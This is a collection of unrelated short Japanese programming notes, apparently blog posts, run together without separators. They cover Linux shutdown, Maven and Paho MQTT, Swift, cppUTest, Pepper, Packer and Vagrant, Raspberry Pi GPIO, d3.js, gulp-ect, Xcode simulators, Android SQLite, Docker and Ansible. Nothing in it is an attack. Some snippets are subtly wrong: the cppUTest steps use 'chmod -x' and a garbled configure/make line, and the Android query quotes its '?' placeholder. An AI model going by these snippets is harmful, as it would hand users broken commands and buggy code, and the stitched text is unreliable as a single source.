今までVPSをいじっていて、昨日から18年間生きてきて初めて自宅サーバーというモノを運用してみているんだけど、電源の切り方で「あれれ？」ってなったのでメモ。

```
sudo halt
```

VPSの時はこれで電源を切ってたつもりになってたんだけど、実は違った。
自宅サーバーでこれやったらシステムは停止しているけど電源は切れていないという謎状態に。

マシンの電源ごと切りたかったら、

```
sudo shutdown -h now
```

を使えば良いらしい。知らなかった。
メモ：paho Java Client 1.0.0 の（非推奨な）導入方法


＊より良い方法があればコメントおねがいします。

## 状況
現状、pom.xmlに、paho mqtt-clientのdependencyを書いても1.0.0が取得できず。0.4.0までしかダウンロードできない。

## 理由
Eclipse Pahoレポジトリの構成が変わった。

0.4.0
/org/eclipse/paho/mqtt-client/0.4.0/mqtt-client-0.4.0.jar

1.0.0
/org/eclipse/paho/org.eclipse.paho.client.mqttv3/1.0.0/org.eclipse.paho.client.mqttv3-1.0.0.jar

## pom.xmlの書き方
```xml:mqtt-client-0.4.0.jar
<repositories>
    <repository>
        <id>Eclipse Paho Repo</id>
        <url>https://repo.eclipse.org/content/repositories/paho-releases/</url>
    </repository>
</repositories>

<dependencies>
    <dependency>
        <groupId>org.eclipse.paho</groupId>
        <artifactId>mqtt-client</artifactId>
        <version>0.4.0</version>
    </dependency>
</dependencies>
```

```xml:mqtt-client-1.0.0.jar
<repositories>
    <repository>
        <id>Eclipse Paho Repo</id>
        <url>https://repo.eclipse.org/content/repositories/paho-releases/</url>
    </repository>
</repositories>

<!-- mavenから依存関係解消できない -->
<dependencies>
    <dependency>
        <groupId>org.eclipse.paho</groupId>
        <artifactId>mqtt-client</artifactId>
        <version>1.0.0</version>
    </dependency>
</dependencies>
```

##　アドホックなインストール方法
ローカルに別名でインストールしてしまう。

```bash:インストール
wget https://repo.eclipse.org/content/repositories/paho-releases/org/eclipse/paho/org.eclipse.paho.client.mqttv3/1.0.0/org.eclipse.paho.client.mqttv3-1.0.0.jar

mvn install:install-file -DartifactId=mqtt-client -DgroupId=org.eclipse.paho -Dversion=1.0.0  -Dpackaging=jar -Dfile=./org.eclipse.paho.client.mqttv3-1.0.0.jar
```

これで、mqtt-client-1.0.0.jarの依存関係が解消できる。

## 参考文献
paho Java Client 紹介ページ（公式）
http://www.eclipse.org/paho/clients/java/

参考にしたページ
https://issues.jboss.org/browse/ENTMQ-751
Swiftのnilがなるほどわからん

Objective-Cの`str.length == 0`のノリで、
Swiftでもカジュアルに空文字チェックをしてみたところ、どうしてこうなりました。

```
let str: NSString? = nil

str?.length == 0    // false
str?.length > 0     // false
str?.length < 0     // true

nil == 0    // false
nil > 0     // false
nil < 0     // true
```

さらに、

```
nil == true     // false
nil == false    // false
```

nilとはなんぞや。
Google Drive と連携するファイル操作ユーティリティ Skicka が便利すぎてやばい


Matt Pharr 大先生がいつのまにやら golang で Google Drive と連携するコマンドラインファイル操作ユーティリティ作ってました. 

https://github.com/google/skicka

漢なら黙って活用ですね!

## 何ができるか

```
$ skicka upload ~/Pictures /Pictures
```

ローカルの `~/Pictures` フォルダの中身を Google Drive の `/Pictures` フォルダにアップロード.
rsync のように差分を検出して変更したものだけアップロードします.



```
$ skicka download /Pictures ~/Pictures
```

Google Drive の `/Pictures` フォルダをローカルの `~/Pictures` フォルダにダウンロード

```
$ skicka ls /Pictures
```

Google Drive の `/Pictures` フォルダの内容を表示.

素敵ですね!

## インストールとセットアップ

```
$ go get github.com/google/skicka
$ go build github.com/google/skicka
# $GOPATH/bin/skicka を PATH の通ったところにコピー
$ skicka init

# Google Developer Console から client id, client secret を取得して ~/.skicka.config に記述

$ skicka ls /
# oath2 トークンを取得…

# トークン取得後に再度
$ skicka ls /
```

## 既知の問題点

### ファイル名が同じものがあるとき

Google Drive 上に同名のファイルが存在していると

```
skicka: /myfile.txt: duplicate file found on Google Drive
```

というエラーが表示されてうまく動きません. Google Drive では同名のファイルを同一ディレクトリに作れる(hash 値は異なる)のですが, posix 的なシステムではそれを正しく扱えないため, skicka ではエラーを出すようにしているためです. 
(skika の README には書いていないので気をつけて!)

ディレクトリには同一のファイル名が無いように構成してみましょう.
 

## さらに

暗号化や転送レート制御もできます. 期待ですね!
cppUTest のインストール


cppUTestのインストールが案外てこずった。ググるとけっこう情報があるんだけどそれらの通りにやるとうまくいかなくて、結局配布元に書いてある通りにやったらできた。

環境:Mac OS 10.9.4

#home brew でインストール

```bash
brew install cpputest 
```

これでうまくいけばいいんだけどなんかエラー出てうまくいかなかった。

#ソースコードからビルド  
インストールできなかったのでソースコードからビルドする。
まず github から適当なフォルダに clone、パスに空白が入らないように。  

```bash
git clone git://github.com/cpputest/cpputest.git 
```

必要なものをインストール。  

```bash
brew install automake  
brew install autoconf  
brew install libtool  
```

cpputest_build ディレクトリに移動してmake。

```bash
cd cpputest_build 
autoreconf .. -i 
../configure $ make
```

おわり。

#スクリプトのインストール
cppUTest には便利なスクリプトがついていて、それらをつかえるようにする。
まず環境変数 CPPUTEST_HOME の設定をする。vim で.bash_profileを開いて、

```bash
vim ~/.bash_profile 
```

環境変数を追記する(cppUTestのディレクトリを指定)

```.bash_profile
export CPPUTEST_HOME=$HOME/tools/cpputest
```

vimを閉じて.bash_profileを読みこむとcppUTestのホームディレクトリが環境変数に追記される。

```bash
source ~/.bash_profile
```

スクリプトのインストールをするのでスクリプトに実行権限を与える。

```bash
cd $CPPUTEST_HOME/scripts
chmod -x *.sh
```

スクリプトをインストールする用のスクリプトが用意されているので実行。

```bash
./InstallScripts.sh
```

おわり。これで `$ NewCModule hogehoge` みたいなかんじで使えるようになる。

#まとめ
だいたい公式サイトに書いてあるとおりにやったらできた。でも英語読むの嫌だから日本語情報を探してたらいろいろとはまった。最初から英語を読んでおけばよかった。
pepperメモ FaceDetecion のナカミ

- Pepperコトハジメ程度の能力なので、ちょっと悩んだ所をメモ
- コレグラフの話。

- ![キャプチャ.PNG](https://qiita-image-store.s3.amazonaws.com/0/32235/061978f3-eefa-86de-b38b-29757524fc4c.png)
 - これについて。
 - これは顔を認識して数字を返してくるブロック。

- ![キャプチャ2.PNG](https://qiita-image-store.s3.amazonaws.com/0/32235/339746cc-d164-b463-523b-2e42b6b84a62.png)
 - 中身はこんな感じ。
 - で、赤いところに気づかずコードの意味が最初は理解できず悩みをかかえる。

- ![キャプチャ3.PNG](https://qiita-image-store.s3.amazonaws.com/0/32235/37caa600-6d4b-7171-b9f4-230674ce0dd7.png)
 - これはメモリイベント。
 - FaceDetected というものが、Pepperちゃんの共有メモリに書き込まれるか何かしたときに起こるイベント。
 
- ![キャプチャ4.PNG](https://qiita-image-store.s3.amazonaws.com/0/32235/9b2a1ce6-204b-fcdc-08e8-6b84efaa85ae.png)
 - APIリファレンスを見ると…
 - こんな感じの構造体（ってPythonでもいうのだろうか）になってる。

- ![キャプチャ5.PNG](https://qiita-image-store.s3.amazonaws.com/0/32235/1dfef7c0-acbd-9916-2c68-223f265e9bf4.png)
 - で、Pythonブロックのナカミは、こんな感じ。
 - 蛍光色のところでFaceInfoの数を数えて外に出しているような感じみたい。
 - つまり、ここで色々やれば、複数人の顔情報をつかってイロイロしちゃうブロックが作れるということ！

という初歩のメモでした！ 

- 追記！
 - 画像のところへの [SDKのリンク](https://community.aldebaran-robotics.com/doc/2-1/naoqi/peopleperception/alfacedetection.html#alfacedetection);
PackerでCentOS4.8のbox作った

vagrantcloudに登録しようとしたところ、自前でbox保管場所を用意する必要が有ることに気がついた。

# download

* [CentOS-4.8-i386.box](https://www.dropbox.com/s/ws7kbjs572gtijp/CentOS-4.8-i386.box?dl=0)
* [CentOS-4.8-x86_64.box](https://www.dropbox.com/s/ysptrf2smc0wmxo/CentOS-4.8-x86_64.box?dl=0)
* [packer](https://github.com/tukiyo/my-packer-template-files/tree/master/centos4.8)

# box作成手順

* CentOS 4.8のpackerがあまり見つからなかったのでいっその事作った。
* iso_download.sh に書いているISOは公式のミラーです。

```bash:
sh iso_download.sh
packer build CentOS-4.8-i386.json
packer build CentOS-4.8-x86_64.json
```

# 注意点

* vagrant up した時に以下エラーが出ますが、CentOS4で入っているsshのバージョンが古いのが原因だと思います。

```bash:
sudo: Illegal option -E
usage: sudo -V | -h | -L | -l | -v | -k | -K | [-H] [-P] [-S] [-b] [-p prompt]
            [-u username/#uid] [-r role] [-t type] -s | <command>
```


# 使い方

```bash:
vagrant init
```

```diff:Vagrantfile
-   config.vm.box = "base"
+   config.vm.box = "file://CentOS-4.8-i386.box"
```

```bash:
vagrant up
vagrant ssh
```

## bashのrpmリビルド方法

```bash:
sudo yum groupinstall -y "Development Tools"
wget https://oss.oracle.com/el4/SRPMS-updates/bash-3.0-27.0.3.el4.src.rpm
sudo rpmbuild --rebuild bash-3.0-27.0.3.el4.src.rpm
```

* /usr/src/redhat/RPMS/i386/bash-3.0-27.0.3.i386.rpm

が生成される。

```bash:更新
sudo rpm -Uvh /usr/src/redhat/RPMS/i386/bash-3.0-27.0.3.i386.rpm
```
Swiftでフリップアニメーション


練習がてらに。


![iphonePlay.gif](https://qiita-image-store.s3.amazonaws.com/0/40693/9df09ba7-1897-1207-5c50-5a75ce18ec07.gif "iphonePlay.gif")


X軸でフリップさせたい場合はreflcetionImageのCGContextScaleCTMとCGContextTranslateCTMをコメントアウトして、CATransform3DMakeRotationを変更すれば良い。


```ViewController.swift

import UIKit
import QuartzCore

class ViewController: UIViewController {
    var frontLayer = CALayer()
    var backLayer = CALayer()
    var front : Bool = true
    
    override func viewDidLoad() {
        super.viewDidLoad()
        // Do any additional setup after loading the view, typically from a nib.
        
        frontLayer.frame = CGRectMake(100, 100, 100, 100)
        frontLayer.contents = UIImage(named: "cover1.png").CGImage
        frontLayer.doubleSided = false
        frontLayer.zPosition = 1
        
        var backImage = UIImage(named: "cover2.png")
        backImage = reflectionImage(backImage)
        backLayer.frame = CGRectMake(100, 100, 100, 100)
        backLayer.contents = backImage.CGImage
        backLayer.doubleSided = true
        
        self.view.layer.addSublayer(frontLayer)
        self.view.layer.addSublayer(backLayer)
    }

    override func didReceiveMemoryWarning() {
        super.didReceiveMemoryWarning()
        // Dispose of any resources that can be recreated.
    }

    
    override func touchesBegan(touches: NSSet, withEvent event: UIEvent) {
        super.touchesBegan(touches, withEvent: event)
        
        CATransaction.begin()
        CATransaction.setValue(kCFBooleanFalse, forKeyPath: kCATransactionDisableActions)
        CATransaction.setAnimationDuration(1.0)
        
        self.front = !self.front
        var transform : CATransform3D = CATransform3DIdentity
        transform.m34 = 1.0 / -420.0
        
        if(!self.front){
            transform = CATransform3DMakeRotation(CGFloat(M_PI),  0.0, 1.0, 0.0)
        } else {
            transform = CATransform3DMakeRotation(0,  0.0, 1.0, 0.0)
        }

        self.frontLayer.transform = transform
        self.backLayer.transform = transform
        
        CATransaction.commit()
        
    }

 
    func reflectionImage (image: UIImage) -> UIImage {
        
        UIGraphicsBeginImageContext(image.size)
        var context = UIGraphicsGetCurrentContext()
        CGContextScaleCTM(context, -1, -1);
        CGContextTranslateCTM(context, -image.size.width, -image.size.height)
        
        CGContextDrawImage(context, CGRectMake(0, 0, image.size.width, image.size.height), image.CGImage)
        
        var backImage = UIGraphicsGetImageFromCurrentImageContext()
        UIGraphicsEndImageContext()
        return backImage
    }
    
}

```

###参考

[フリップアニメーションでビューを切り替える](http://qiita.com/edo_m18/items/45fcbc67154eb68ef469)

[CALayerでFlip Animation](http://qiita.com/icecocoa6/items/beb1aab4b506c3058532)
raspberrypi (B+) のGPIOをProcessingで制御するときのメモ


pi@raspberrypi ~ $ gpio readall



| BCM | wPi |   Name  | Mode | V | Physical | V | Mode | Name    | wPi | BCM |
|----:|----:|--------:|-----:|--:|:--------:|--:|-----:|--------:|----:|----:|
|     |     |    3.3v |      |   |  1  2  |   |      | 5v      |     |     |
|   2 |   8 |   SDA.1 | ALT0 | 1 |  3  4  |   |      | 5V      |     |     |
|   3 |   9 |   SCL.1 | ALT0 | 1 |  5  6  |   |      | 0v      |     |     |
|   4 |   7 | GPIO. 7 |   IN | 0 |  7  8  | 1 | ALT0 | TxD     | 15  | 14  |
|     |     |      0v |      |   |  9  10 | 1 | ALT0 | RxD     | 16  | 15  |
|  17 |   0 | GPIO. 0 |   IN | 0 | 11  12 | 0 | IN   | GPIO. 1 | 1   | 18  |
|  27 |   2 | GPIO. 2 |   IN | 0 | 13  14 |   |      | 0v      |     |     |
|  22 |   3 | GPIO. 3 |   IN | 0 | 15  16 | 0 | IN   | GPIO. 4 | 4   | 23  |
|     |     |    3.3v |      |   | 17  18 | 0 | IN   | GPIO. 5 | 5   | 24  |
|  10 |  12 |    MOSI |   IN | 0 | 19  20 |   |      | 0v      |     |     |
|   9 |  13 |    MISO |   IN | 0 | 21  22 | 0 | IN   | GPIO. 6 | 6   | 25  |
|  11 |  14 |    SCLK |   IN | 0 | 23  24 | 0 | IN   | CE0     | 10  | 8   |
|     |     |      0v |      |   | 25  26 | 0 | IN   | CE1     | 11  | 7   |
|   0 |  30 |   SDA.0 | ALT0 | 0 | 27  28 | 0 | ALT0 | SCL.0   | 31  | 1   |
|   5 |  21 | GPIO.21 |   IN | 0 | 29  30 |   |      | 0v      |     |     |
|   6 |  22 | GPIO.22 |   IN | 0 | 31  32 | 0 | IN   | GPIO.26 | 26  | 12  |
|  13 |  23 | GPIO.23 |   IN | 0 | 33  34 |   |      | 0v      |     |     |
|  19 |  24 | GPIO.24 |  OUT | 0 | 35  36 | 0 | IN   | GPIO.27 | 27  | 16  |
|  26 |  25 | GPIO.25 |   IN | 0 | 37  38 | 0 | IN   | GPIO.28 | 28  | 20  |
|     |     |      0v |      |   | 39  40 | 0 | IN   | GPIO.29 | 29  | 21  |
| BCM | wPi |   Name  | Mode | V | Physical | V | Mode | Name    | wPi | BCM |


ラズパイのgpioコマンドで取得するピンの情報と、実機との関係がいつもよくわからなくなるのでメモを残しておきます。

gpioコマンドで指定する番号はBCM列の番号を使う
gpio -g mode 17 out
とするとBCM列17番のモードがoutに変わる。
よくあるラズパイのGPIOシートもこの番号。
processingのpi4jでは、この番号ではなく、Name列の値を
指定する。。ここではRasPin.GPIO_00。
processingでは以下の様に指定する。
 pin0 = gpio.provisionDigitalOutputPin(RaspiPin.GPIO_00, "MyLED", PinState.LOW);
d3.jsでCSVファイル/TSVファイルを扱う


## CSVファイルの読み込み

### ヘッダ付きCSVファイルの読み込み

``d3.csv(url, callback)``で各列の値をプロパティとして持つオブジェクトの配列が作成される。

```csv:data.csv
id,name,value
1,foo,36
2,bar,29
3,baz,42
4,hoge,8
```
```js:js
d3.csv("data.csv", function(error, data) {
    console.log(data);
});
```
```json:結果
[
    {"id":"1","name":"foo","value":"36"},
    {"id":"2","name":"bar","value":"29"},
    {"id":"3","name":"baz","value":"42"},
    {"id":"4","name":"hoge","value":"8"}
] 
```

### データを加工して読み込む

``d3.csv(url, accessor, callback)``でaccessorに各行を加工する処理を記述する。
またはrow()を使用する。

```js:js
d3.csv("data.csv",
        function(d) {
            return [d.id, d.name, d.value].join(":");
        },
        function(error, data) {
            console.log(data);
        }
);
```
```js:別の書き方
d3.csv("data.csv")
    .row(function(d) {
        return [d.id, d.name, d.value].join(":");
    })
    .get(function(error, data) {
        console.log(data);
    });
```
```json:結果
["1:foo:36","2:bar:29","3:baz:42","4:hoge:8"]  
```

### ヘッダなしファイルの読み込み

ヘッダがないCSVファイルを読み込む時は、テキストとして読み込んでから``d3.csv.parseRows()``を使用する。

```csv:data_headless.csv
1,foo,36
2,bar,29
3,baz,42
4,hoge,8
```
```js:js
d3.text("data_headless.csv", function(error, text) {
    var data = d3.csv.parseRows(text);
    console.log(data);
});
```
```json:結果
[["1","foo","36"],["2","bar","29"],["3","baz","42"],["4","hoge","8"]]
```

### ヘッダなしファイルを加工して読み込む

```js:js
d3.text("data_headless.csv", function(error, text) {
    var data = d3.csv.parseRows(text, function(d) {
        return { id: d[0], name: d[1], value: +d[2] };
    });
    console.log(data);
});
```
```json:結果
[
    {"id":"1","name":"foo","value":36},
    {"id":"2","name":"bar","value":29},
    {"id":"3","name":"baz","value":42},
    {"id":"4","name":"hoge","value":8}
]
 ```

## オブジェクトをCSVテキストに変換
### オブジェクトを変換

```js:js
console.log(d3.csv.format([
    {id:1, name:"foo"},
    {id:2, name:"bar"}
]));
```
```:結果
id,name
1,foo
2,bar 
```

### 配列を変換

```js:js
console.log(d3.csv.formatRows([
    [1, "foo"],
    [2, "bar"]
]));
```
```:結果
1,foo
2,bar 
```

## TSVファイル

``d3.tsv``を使用する。使い方は``d3.csv``と同じ。

## 任意区切り文字のファイル

``d3.dsv``を使用する。

```:data.txt
id|name|value
1|foo|36
2|bar|29
3|baz|42
4|hoge|8
```
```js:js
d3.dsv("|", "text/plain")("data.txt", function(error, data) {
        console.log(data);
});
```
```:結果
[
    {"id":"1","name":"foo","value":"36"},
    {"id":"2","name":"bar","value":"29"},
    {"id":"3","name":"baz","value":"42"},
    {"id":"4","name":"hoge","value":"8"}
]
```

## 参考

[CSV · mbostock d3 Wiki](https://github.com/mbostock/d3/wiki/CSV)
フロント開発のテンプレートエンジンECTをGulpでビルドする際にエラー詳細を出してマシにする


ect使ってますか? ect便利ですよね。

* [node.js テンプレートエンジン ECTが爆速!! らしい件](http://www.webcyou.com/?p=5173)

#gulp-ectのエラー表示がしょぼい件

gulpでビルドするときにはgulp-ectっていうプラグインを使うと思います。ectの変更を監視して自動ビルドしてhtmlを吐き出す、みたいなことをよくやります。

ただgulp-ectでエラーが出ると

```
[09:58:17] Error gulp-ect: must start with number, buffer, array or string
```

って感じでエラーがおきたことは教えてくれるけど、
####どこのファイルの何行目で何が起こったのかが全く分かりません。

これは問題ですね苦笑

* [Gulp-ect](https://github.com/AveVlad/gulp-ect)

#対策①

ect使う時はect()を呼び出せばいいんですけど、

```デフォ
  //省略
  .pipe($.ect())
　//省略
```

ここに

```少しいじる
　//省略
  .pipe($.ect({data: function (filename, cb) {
     console.log(filename);
     cb({foo: "bar"});
  }}))
//省略
```

てな感じで書いてあげると

```
template/index
[09:58:17] Error gulp-ect: must start with number, buffer, array or string
```

という感じでエラー対象ファイルが分かります。


ただ、まだ行数までは分かりません。

# 対策②
モジュール側をいじります。

gulp-ectをnpm installすると`node_modules/gulp-ect/index.js`があると思います。

37行目くらいの

```
html.render(fileName, data, function (error, html) {
 file.contents = new Buffer(html);
 file.path = gutil.replaceExtension(file.path, opt.outExt);
});
```

この箇所にエラー表示を記述します。

```
html.render(fileName, data, function (error, html) {
 if(error) gutil.log(gutil.colors.red('Error gulp-ect detail: ' + error)); //←追記
 file.contents = new Buffer(html);
 file.path = gutil.replaceExtension(file.path, opt.outExt);
});
```

これでこんな感じで、

```
template/index
[09:58:17] Error gulp-ect: Failed to load template /Users/ryousuke/Sites/hackathon/gyo/template/common/_header2.ect in /Users/ryousuke/Sites/hackathon/gyo/template/index.ect on line 15
[09:58:17] Error gulp-ect: must start with number, buffer, array or string
```

エラー内容だったり、対象箇所だったりが表示されます。



##独り言
github上の最新だと

```
error && gutil.log(gutil.colors.red('Error gulp-ect: ' + error.message));
```

って記述があってエラーを詳細に出してるみたいだけど、私の環境だとなぜかnpm installした段階でその記載が消えてました。

一応プルリクだしたけど...採用されるのかな

①はnode_modulesまでいじりたく無い人とか応急処置程度で使えるかも。
基本②をやっておけば問題無さそうです。

もっといいやり方あれば教えて下さい ><
Xcode6のiPhone Simulatorの場所が変わったのでどの端末か見やすくなるようにしてみた。

Xcode6でiPhone Simulatorの場所が変更になってました。
`~/Developer/CoreSimulator/Devices/[DeviceID]/data/Containers/Data/Application/[App]`
前までSimulatorのOSバージョンのディレクトリがあって辿りやすかったんですがDeviceIDになってちょっと分かりづらくなってるみたい。
DeviceID配下に`device.plist`があってその中の情報を見ればその端末の名前(iPhone5とかiPhone6とか)とバージョンがわかりそう。

なのでどのディレクトリがどの端末か分かるようにシェル書いてみた。
https://github.com/tamaki-shingo/iOSSimList

実行結果

<pre>
$ [DeviceID] - iPhone 5s(iOS.8.0)
$ [DeviceID] - iPhone 5s(iOS.8.0)
$ [DeviceID] - iPad 2(iOS.7.1)
$ [DeviceID] - iPhone 6 Plus(iOS.8.0)
$ [DeviceID] - iPhone 5(iOS.7.1)
  以下略
</pre>

OSバージョン毎のソートとか、端末名のソートとかは後で考えて気が向けば対応しよう。

* 参考
    *  [Xcode6のiPhone Simulatorの場所
](http://qiita.com/aki/items/c0073bf1e83858fe2e92)



## 追記
今更ながら`xcrun`でイけるとわかった、こっちの方がRuntimeも表示されるしApple公式なので
今後はこっちを使おうと思います。

`xcrun simctl list`

実行結果
<pre>
== Device Types ==
iPhone 4s (com.apple.CoreSimulator.SimDeviceType.iPhone-4s)
iPhone 5 (com.apple.CoreSimulator.SimDeviceType.iPhone-5)
iPhone 5s (com.apple.CoreSimulator.SimDeviceType.iPhone-5s)
iPhone 6 (com.apple.CoreSimulator.SimDeviceType.iPhone-6)
iPhone 6 Plus (com.apple.CoreSimulator.SimDeviceType.iPhone-6-Plus)
iPhone 6s (com.apple.CoreSimulator.SimDeviceType.iPhone-6s)
iPhone 6s Plus (com.apple.CoreSimulator.SimDeviceType.iPhone-6s-Plus)
iPad 2 (com.apple.CoreSimulator.SimDeviceType.iPad-2)
iPad Retina (com.apple.CoreSimulator.SimDeviceType.iPad-Retina)
iPad Air (com.apple.CoreSimulator.SimDeviceType.iPad-Air)
iPad Air 2 (com.apple.CoreSimulator.SimDeviceType.iPad-Air-2)
Apple Watch - 38mm (com.apple.CoreSimulator.SimDeviceType.Apple-Watch-38mm)
Apple Watch - 42mm (com.apple.CoreSimulator.SimDeviceType.Apple-Watch-42mm)
== Runtimes ==
iOS 7.1 (7.1 - 11D167) (com.apple.CoreSimulator.SimRuntime.iOS-7-1) (unavailable, failed to open liblaunch_sim.dylib)
iOS 8.1 (8.1 - 12B411) (com.apple.CoreSimulator.SimRuntime.iOS-8-1) (unavailable, failed to open liblaunch_sim.dylib)
iOS 8.2 (8.2 - 12D508) (com.apple.CoreSimulator.SimRuntime.iOS-8-2) (unavailable, failed to open liblaunch_sim.dylib)
iOS 9.0 (9.0 - 13A340) (com.apple.CoreSimulator.SimRuntime.iOS-9-0)
watchOS 2.0 (2.0 - 13S343) (com.apple.CoreSimulator.SimRuntime.watchOS-2-0)
== Devices ==
-- iOS 7.1 --
    iPhone 4s (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
    iPhone 5 (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
    iPhone 5s (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
    iPad 2 (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
    iPad Retina (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
    iPad Air (DeviceID) (Shutdown) (unavailable, failed to open liblaunch_sim.dylib)
-- iOS 8.1 --
（以下略）
</pre>
【Android】テーブルのレコード数を簡単に取得する

AndroidでSQLiteを使っている場合、時々あるテーブルのレコード数を取得したい時がある。
レコード数を取得したい場合、以下のようなパターンが考えられます。

- テーブルのレコード数が全部で何件あるか知りたい
- テーブル内で特定の条件に合うレコード数が何件あるか知りたい

という場合に、**[android.database.DatabaseUtils](http://developer.android.com/reference/android/database/DatabaseUtils.html)**クラスの**[queryNumEntries](http://developer.android.com/reference/android/database/DatabaseUtils.html#queryNumEntries(android.database.sqlite.SQLiteDatabase, java.lang.String))**メソッドを使えば簡単にレコード数が取得できる。

## DatabaseUtils#queryNumEntriesメソッド

使い方はとても簡単。

```java
// db=SQLiteDatabase User.TABLE_NAME=users
long recodeCount = DatabaseUtils.queryNumEntries(db, User.TABLE_NAME); 
Log.d(TAG, "recodeCount : " + recodeCount);
```
引数にSQLiteDatabaseとテーブル名を渡すことで、テーブルのレコード数が取得できます。

内部的には以下のようなSQL文が実行されています。

```sql
SELECT COUNT(*) FROM users
```

## テーブル内で特定の条件に合うレコード数が何件あるか知りたい

これもqueryNumEntriesメソッドを使うことで取得できます。
引数にWhere句を指定できるようにもなっているので、特定の条件に合うレコード数も簡単に取得できます。

例えば、画像のPathを保存しているimageテーブルがあったとして、**png**の画像が何件あるか知りたい場合は以下のような感じ。

```java
// db=SQLiteDatabase Image.TABLE_NAME=images type=TEXT
long recodeCount = DatabaseUtils.queryNumEntries(db, Image.TABLE_NAME,"type = '?'",new String[]{ "png" });
Log.d(TAG, "recodeCount : " + recodeCount);
```

内部的には以下のようなSQL文が実行されています。

```sql
SELECT COUNT(*) FROM images WHERE type = 'png'
```

## まとめ
レコード数の取得は自分で実装することも可能ですが、**[android.database.DatabaseUtils](http://developer.android.com/reference/android/database/DatabaseUtils.html)**クラスの**[queryNumEntries](http://developer.android.com/reference/android/database/DatabaseUtils.html#queryNumEntries(android.database.sqlite.SQLiteDatabase, java.lang.String))**メソッドを使った方が断然楽です！

ということで、今まで自分でガリガリ実装していた人はこっちも使ってみるといいと思います！
ちなみに、私はこれを知るまでガリガリ自分で実装してました…（笑）
動画を任意の再生位置にする

# やり方

```js
videoElement.currentTime=10.9
```

単位は秒。小数点以下も指定可能。

# 問題

Webブラウザで再生可能だからといって、
必ずしも任意の再生位置に設定できるとは限らない模様。
詳細は関連記事にて。

# 関連記事

- [ffmpegで静止画からQuickTime Playerで再生できる動画を作る](http://abrakatabura.hatenablog.com/entry/2014/07/19/110000)
- [libvpx.jsでOperaやFirefoxでループ再生出来ない動画で分かったこと](http://abrakatabura.hatenablog.com/entry/2014/09/27/071740)
- [Windowsでデスクトップキャプチャーして動画をつくるには](http://abrakatabura.hatenablog.com/entry/2017/04/07/070355)
dockerイメージを効率的に運用するためにやっていること

##Docker運用の困りどころ
dockerを運用していて困るところがイメージのビルドと転送にかかる時間です。
僕の環境ではマシンは非力な上にミドルウェアをソースビルドしているのですべてのイメージをビルドすると３０分とかかかります。
dockerレジストリへイメージをpushしたりpullしてくるのにかかる時間も相当なものです。
そんな困ったところを少しでも効率的にするために気をつけていることを書いていきたいと思います。

##イメージはレイヤー化する
Dockerイメージをうまくレイヤー化して構成することで、ビルドや転送にかかる時間を減らすことができます。

たとえば下記のようなレイヤー構成です。

-centos6
　|- mybase : 自身のサービス用のベースイメージ
　　　| - web_base : ウェブサーバー向けのミドルウェアを追加したイメージ
　　　|　| - webapp : 自身のサービスのウェブアプリを追加したイメージ
　　　| - reverse_proxy : リバースプロキシ(Nginx)

fluentdやsupervisorなどほとんどのイメージで使うパッケージと基本的な設定を含めたmybaseイメージを作成しておきます。
他のイメージはmybaseをベースイメージとして作成します。こうしておけば、mybaseに変更が入らない限り差分のビルドと転送で済みます。
web_baseのように中間のイメージを増やすことで更に効率化できる場合があります。ミドルウェアとその設定などの変更が入りにくい部分とサービスように変更が入りやすい部分を別レイヤーにしておくことでビルド時間や転送を最小限にすることができます。

##中間レイヤーを削除してイメージを小さくする。
上記の例でいうmybaseにあたるイメージに関してはdocker exportとdocker importを使って単一レイヤーのイメージとなるようにしています。
それより下層のイメージでは差分で転送できなくなってしまうので同様の処理は行いません。

##Dockerfileのコマンドの記述に気をつける

１．変更が発生しやすいコマンドをなるべく後に記述する
docker build はコマンドごとに中間レイヤーを作成してキャッシュしてくれます。
次にdocker buildしたときに変更がなければ処理は飛ばすことができるため、変更が発生しやすいコマンドを後に記述することでビルド時間を短縮できます。

２．RUNコマンドは&&オペレータでつなげて回数を減らす
Dockerfileのコマンドごとに中間イメージが作成されるためコマンドの回数を減らすことでビルドの時間やレイヤー数を減らすことができます。

３．Dockerに追加したいファイルはディレクトリにまとめてADD一回で追加。その後各ファイルをRUN cpなどで必要な場所に移動。
これもコマンドの数を減らすことでビルド時間とレイヤー数を減らすためにしています。

##ビルドサーバーを用意する
Dockerは実はビルドだけでなくdocker pushやpullにも多量のCPUリソースを使います。
イメージをgzip圧縮または展開しながら転送するからです。
このため、CPUの性能によって転送速度がまったく違ってきます。
開発サーバーが非力な場合、別途CPUが強力なビルドサーバーを用意できると効率的にDokcerの作業ができます。
ビルドサーバーを用意できない場合、以下の様な代替策があります。
１．Docker作業の時だけAWSのスポットインスタンスなどで高速なマシンを借りる
２．ローカルマシンが強力であれば、Docker関連はリモートサーバーではなくVagrantなどを使ってローカルマシンで作業する
React.jsを非ブラウザ環境で動かす

node.jsとjsdomを使う。ユニットテスト環境想定

```coffeescript

# setup dom before react
jsdom = require('jsdom').jsdom
global.document  = jsdom('<html><body></body></html>')
global.window    = document.parentWindow
global.navigator = window.navigator

React = require 'react'
{TestUtils} = require 'react-addons'

Greeting = React.createClass
  getInitialState: -> title: 'foo'

  setTitle: (title) -> @setState title: title

  render: -> React.DOM.h1 {}, [
    React.DOM.span key: 1, @state.title
    React.DOM.button ref: 'btn', key: 2, onClick: (-> console.log 'clicked'), 'button'
  ]

comp = TestUtils.renderIntoDocument Greeting title: 'foo'
console.log comp.getDOMNode().innerHTML
comp.setState title: 'bar'
console.log comp.getDOMNode().innerHTML
```

しかしTestUtils.simulate.events(comp.refs.btn) が動かなかった
bashをansibleでアップデート


```bash:shell
$ ansible -m yum -a "name=bash state=latest" all --sudo
```

その他設定ファイル

```:~/ansible_hosts
www ansible_ssh_host=XXX.XXX.XXX.XXX
app ansible_ssh_host=XXX.XXX.XXX.XXX
db  ansible_ssh_host=XXX.XXX.XXX.XXX
```

```:~/ansible.cfg
[defaults]
hostfile = ~/ansible_hosts
```